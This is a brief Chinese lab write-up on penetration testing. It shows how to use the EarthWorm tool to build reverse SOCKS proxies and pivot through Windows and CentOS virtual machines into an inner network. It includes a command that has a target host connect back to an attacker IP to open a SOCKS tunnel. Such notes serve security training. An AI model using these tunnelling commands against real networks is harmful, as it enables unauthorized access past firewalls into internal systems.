渗透测试之反弹代理（ew的高级用法）反向代理

a) 先在一台具有公网 ip 的主机A上运行以下命令：

  ew -s rcsocks -l 1080 -e 8888

  b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

  ew.exe -s rssocks -d 攻击者ip -e 8888

实验环境：win2008r2   双网卡 IP地址 xxx.xxx.xxx.154  vmnet1是10.1.1.1

win2003   vmnet  10.1.1.4 

本地计算机   xxx.xxx.xxx.172

1.本计算机

本地机子有反应

可以联机到w3服务器，也可以远程访问，输入管理员庄户密码就可以

第二个实验

实验环境：

win2008r2   双网卡 IP地址 xxx.xxx.xxx.154  vmnet1是10.1.1.1  win8不开防火墙

win2003   vmnet1  10.1.1.4  vmnet2 172.1.1.1

centos vmnet2 172.1.1.2

本地计算机   xxx.xxx.xxx.172  不开防火墙

 

配置完以后 用win3做代理，其他服务器不能访问奥这个8000端口，需要w2008给做一次端口转发

2008做的端口转发 

本地计算机就可以用 proxyfier 工具 使用 win2008的1080端口做代理 ，因为win2008防火墙是关闭状态

这时使用本地计算机访问一下10.1.1.4 

可以访问到，如果win2008开了防火墙 ，就只能在w2008做个方向代理，用本地计算机连接w2008服务器

二。来个反向代理

本地计算机开放一个9000的端口，win2003还是上面的命令开启8000端口

使用工具把9000和10.1.1.4的8000端口连接起来

打开xshell 连接centos6.5  

ssh 172.1.1.2 输入管理员账户密码

两层反弹端口，然后可以是本地计算机访问到内网的内网的主机172.1.1.2

试验成功